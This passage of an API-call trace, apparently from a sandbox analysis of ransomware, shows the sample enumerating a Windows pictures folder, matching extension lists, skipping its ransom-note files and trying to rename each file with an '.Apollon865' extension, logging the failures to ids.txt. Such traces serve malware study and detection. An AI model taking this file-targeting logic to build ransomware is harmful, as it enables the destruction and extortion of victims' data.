	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0080.164] lstrlenW (lpString="cat") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0080.164] lstrlenW (lpString="cdb") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0080.164] lstrlenW (lpString="ckp") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0080.164] lstrlenW (lpString="cma") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0080.164] lstrlenW (lpString="cpd") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0080.164] lstrlenW (lpString="dacpac") returned 6
	[0080.164] lstrcmpiW (lpString1="32.bmp", lpString2="dacpac") returned -1
	[0080.164] lstrlenW (lpString="dad") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0080.164] lstrlenW (lpString="dadiagrams") returned 10
	[0080.164] lstrcmpiW (lpString1="tile32.bmp", lpString2="dadiagrams") returned 1
	[0080.164] lstrlenW (lpString="daschema") returned 8
	[0080.164] lstrcmpiW (lpString1="le32.bmp", lpString2="daschema") returned 1
	[0080.164] lstrlenW (lpString="db-journal") returned 10
	[0080.164] lstrcmpiW (lpString1="tile32.bmp", lpString2="db-journal") returned 1
	[0080.164] lstrlenW (lpString="db-shm") returned 6
	[0080.164] lstrcmpiW (lpString1="32.bmp", lpString2="db-shm") returned -1
	[0080.164] lstrlenW (lpString="db-wal") returned 6
	[0080.164] lstrcmpiW (lpString1="32.bmp", lpString2="db-wal") returned -1
	[0080.164] lstrlenW (lpString="dbc") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0080.164] lstrlenW (lpString="dbs") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0080.164] lstrlenW (lpString="dbt") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0080.164] lstrlenW (lpString="dbv") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0080.164] lstrlenW (lpString="dbx") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0080.164] lstrlenW (lpString="dcb") returned 3
	[0080.165] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0080.165] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp.Apollon865") returned 93
	[0080.165] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile32.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.165] GetLastError () returned 0x5
	[0080.165] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp MoveFileEx error 5\r\n") returned 111
	[0080.165] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp MoveFileEx error 5\r\n") returned 111
	[0080.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.165] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5116
	[0080.165] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.166] CloseHandle (hObject=0x9c) returned 1
	[0080.166] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.166] CloseHandle (hObject=0x0) returned 0
	[0080.166] CloseHandle (hObject=0x0) returned 0
	[0080.166] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1
	[0080.166] lstrcmpiW (lpString1="usertile33.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.166] lstrcmpiW (lpString1="usertile33.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.166] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile33.bmp" | out: lpString1="usertile33.bmp") returned="usertile33.bmp"
	[0080.166] lstrlenW (lpString="usertile33.bmp") returned 14
	[0080.166] lstrlenW (lpString="Apollon865") returned 10
	[0080.166] lstrcmpiW (lpString1="tile33.bmp", lpString2="Apollon865") returned 1
	[0080.166] lstrlenW (lpString=".dll") returned 4
	[0080.166] lstrcmpiW (lpString1="usertile33.bmp", lpString2=".dll") returned 1
	[0080.166] lstrlenW (lpString=".lnk") returned 4
	[0080.166] lstrcmpiW (lpString1="usertile33.bmp", lpString2=".lnk") returned 1
	[0080.166] lstrlenW (lpString=".ini") returned 4
	[0080.166] lstrcmpiW (lpString1="usertile33.bmp", lpString2=".ini") returned 1
	[0080.166] lstrlenW (lpString=".sys") returned 4
	[0080.166] lstrcmpiW (lpString1="usertile33.bmp", lpString2=".sys") returned 1
	[0080.166] lstrlenW (lpString="usertile33.bmp") returned 14
	[0080.166] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp.Apollon865") returned 93
	[0080.166] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile33.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.167] GetLastError () returned 0x5
	[0080.167] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp MoveFileEx error 5\r\n") returned 111
	[0080.167] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp MoveFileEx error 5\r\n") returned 111
	[0080.167] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.167] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5185
	[0080.167] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.167] CloseHandle (hObject=0x9c) returned 1
	[0080.167] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.167] CloseHandle (hObject=0x0) returned 0
	[0080.167] CloseHandle (hObject=0x0) returned 0
	[0080.167] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1
	[0080.167] lstrcmpiW (lpString1="usertile34.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.167] lstrcmpiW (lpString1="usertile34.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.168] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile34.bmp" | out: lpString1="usertile34.bmp") returned="usertile34.bmp"
	[0080.168] lstrlenW (lpString="usertile34.bmp") returned 14
	[0080.168] lstrlenW (lpString="Apollon865") returned 10
	[0080.168] lstrcmpiW (lpString1="tile34.bmp", lpString2="Apollon865") returned 1
	[0080.168] lstrlenW (lpString=".dll") returned 4
	[0080.168] lstrcmpiW (lpString1="usertile34.bmp", lpString2=".dll") returned 1
	[0080.168] lstrlenW (lpString=".lnk") returned 4
	[0080.168] lstrcmpiW (lpString1="usertile34.bmp", lpString2=".lnk") returned 1
	[0080.168] lstrlenW (lpString=".ini") returned 4
	[0080.168] lstrcmpiW (lpString1="usertile34.bmp", lpString2=".ini") returned 1
	[0080.168] lstrlenW (lpString=".sys") returned 4
	[0080.168] lstrcmpiW (lpString1="usertile34.bmp", lpString2=".sys") returned 1
	[0080.168] lstrlenW (lpString="usertile34.bmp") returned 14
	[0080.168] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp.Apollon865") returned 93
	[0080.168] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile34.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile34.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.170] GetLastError () returned 0x5
	[0080.171] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp MoveFileEx error 5\r\n") returned 111
	[0080.171] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp MoveFileEx error 5\r\n") returned 111
	[0080.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.171] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x51f4
	[0080.171] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.171] CloseHandle (hObject=0x9c) returned 1
	[0080.171] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.171] CloseHandle (hObject=0x0) returned 0
	[0080.171] CloseHandle (hObject=0x0) returned 0
	[0080.171] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1
	[0080.171] lstrcmpiW (lpString1="usertile35.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.171] lstrcmpiW (lpString1="usertile35.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.172] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile35.bmp" | out: lpString1="usertile35.bmp") returned="usertile35.bmp"
	[0080.172] lstrlenW (lpString="usertile35.bmp") returned 14
	[0080.172] lstrlenW (lpString="Apollon865") returned 10
	[0080.172] lstrcmpiW (lpString1="tile35.bmp", lpString2="Apollon865") returned 1
	[0080.172] lstrlenW (lpString=".dll") returned 4
	[0080.172] lstrcmpiW (lpString1="usertile35.bmp", lpString2=".dll") returned 1
	[0080.172] lstrlenW (lpString=".lnk") returned 4
	[0080.172] lstrcmpiW (lpString1="usertile35.bmp", lpString2=".lnk") returned 1
	[0080.172] lstrlenW (lpString=".ini") returned 4
	[0080.172] lstrcmpiW (lpString1="usertile35.bmp", lpString2=".ini") returned 1
	[0080.172] lstrlenW (lpString=".sys") returned 4
	[0080.172] lstrcmpiW (lpString1="usertile35.bmp", lpString2=".sys") returned 1
	[0080.172] lstrlenW (lpString="usertile35.bmp") returned 14
	[0080.172] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp.Apollon865") returned 93
	[0080.172] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile35.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile35.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.172] GetLastError () returned 0x5
	[0080.172] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp MoveFileEx error 5\r\n") returned 111
	[0080.172] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp MoveFileEx error 5\r\n") returned 111
	[0080.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.173] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5263
	[0080.173] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.173] CloseHandle (hObject=0x9c) returned 1
	[0080.173] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.173] CloseHandle (hObject=0x0) returned 0
	[0080.173] CloseHandle (hObject=0x0) returned 0
	[0080.173] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1
	[0080.173] lstrcmpiW (lpString1="usertile36.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.173] lstrcmpiW (lpString1="usertile36.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.173] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile36.bmp" | out: lpString1="usertile36.bmp") returned="usertile36.bmp"
	[0080.173] lstrlenW (lpString="usertile36.bmp") returned 14
	[0080.173] lstrlenW (lpString="Apollon865") returned 10
	[0080.173] lstrcmpiW (lpString1="tile36.bmp", lpString2="Apollon865") returned 1
	[0080.173] lstrlenW (lpString=".dll") returned 4
	[0080.173] lstrcmpiW (lpString1="usertile36.bmp", lpString2=".dll") returned 1
	[0080.173] lstrlenW (lpString=".lnk") returned 4
	[0080.173] lstrcmpiW (lpString1="usertile36.bmp", lpString2=".lnk") returned 1
	[0080.173] lstrlenW (lpString=".ini") returned 4
	[0080.173] lstrcmpiW (lpString1="usertile36.bmp", lpString2=".ini") returned 1
	[0080.174] lstrlenW (lpString=".sys") returned 4
	[0080.174] lstrcmpiW (lpString1="usertile36.bmp", lpString2=".sys") returned 1
	[0080.174] lstrlenW (lpString="usertile36.bmp") returned 14
	[0080.174] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp.Apollon865") returned 93
	[0080.174] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.174] GetLastError () returned 0x5
	[0080.174] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp MoveFileEx error 5\r\n") returned 111
	[0080.174] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp MoveFileEx error 5\r\n") returned 111
	[0080.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.174] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x52d2
	[0080.174] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.174] CloseHandle (hObject=0x9c) returned 1
	[0080.175] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.175] CloseHandle (hObject=0x0) returned 0
	[0080.175] CloseHandle (hObject=0x0) returned 0
	[0080.175] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1
	[0080.175] lstrcmpiW (lpString1="usertile37.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.175] lstrcmpiW (lpString1="usertile37.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.175] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile37.bmp" | out: lpString1="usertile37.bmp") returned="usertile37.bmp"
	[0080.175] lstrlenW (lpString="usertile37.bmp") returned 14
	[0080.175] lstrlenW (lpString="Apollon865") returned 10
	[0080.175] lstrcmpiW (lpString1="tile37.bmp", lpString2="Apollon865") returned 1
	[0080.175] lstrlenW (lpString=".dll") returned 4
	[0080.175] lstrcmpiW (lpString1="usertile37.bmp", lpString2=".dll") returned 1
	[0080.175] lstrlenW (lpString=".lnk") returned 4
	[0080.175] lstrcmpiW (lpString1="usertile37.bmp", lpString2=".lnk") returned 1
	[0080.175] lstrlenW (lpString=".ini") returned 4
	[0080.175] lstrcmpiW (lpString1="usertile37.bmp", lpString2=".ini") returned 1
	[0080.175] lstrlenW (lpString=".sys") returned 4
	[0080.175] lstrcmpiW (lpString1="usertile37.bmp", lpString2=".sys") returned 1
	[0080.175] lstrlenW (lpString="usertile37.bmp") returned 14
	[0080.175] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp.Apollon865") returned 93
	[0080.175] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile37.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile37.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.176] GetLastError () returned 0x5
	[0080.176] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp MoveFileEx error 5\r\n") returned 111
	[0080.176] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp MoveFileEx error 5\r\n") returned 111
	[0080.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.176] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5341
	[0080.176] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.176] CloseHandle (hObject=0x9c) returned 1
	[0080.176] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.176] CloseHandle (hObject=0x0) returned 0
	[0080.176] CloseHandle (hObject=0x0) returned 0
	[0080.176] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1
	[0080.176] lstrcmpiW (lpString1="usertile38.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.176] lstrcmpiW (lpString1="usertile38.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.176] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile38.bmp" | out: lpString1="usertile38.bmp") returned="usertile38.bmp"
	[0080.177] lstrlenW (lpString="usertile38.bmp") returned 14
	[0080.177] lstrlenW (lpString="Apollon865") returned 10
	[0080.177] lstrcmpiW (lpString1="tile38.bmp", lpString2="Apollon865") returned 1
	[0080.177] lstrlenW (lpString=".dll") returned 4
	[0080.177] lstrcmpiW (lpString1="usertile38.bmp", lpString2=".dll") returned 1
	[0080.177] lstrlenW (lpString=".lnk") returned 4
	[0080.177] lstrcmpiW (lpString1="usertile38.bmp", lpString2=".lnk") returned 1
	[0080.177] lstrlenW (lpString=".ini") returned 4
	[0080.177] lstrcmpiW (lpString1="usertile38.bmp", lpString2=".ini") returned 1
	[0080.177] lstrlenW (lpString=".sys") returned 4
	[0080.177] lstrcmpiW (lpString1="usertile38.bmp", lpString2=".sys") returned 1
	[0080.177] lstrlenW (lpString="usertile38.bmp") returned 14
	[0080.177] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp.Apollon865") returned 93
	[0080.177] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.179] GetLastError () returned 0x5
	[0080.179] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp MoveFileEx error 5\r\n") returned 111
	[0080.179] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp MoveFileEx error 5\r\n") returned 111
	[0080.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.179] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x53b0
	[0080.179] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.179] CloseHandle (hObject=0x9c) returned 1
	[0080.179] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.179] CloseHandle (hObject=0x0) returned 0
	[0080.179] CloseHandle (hObject=0x0) returned 0
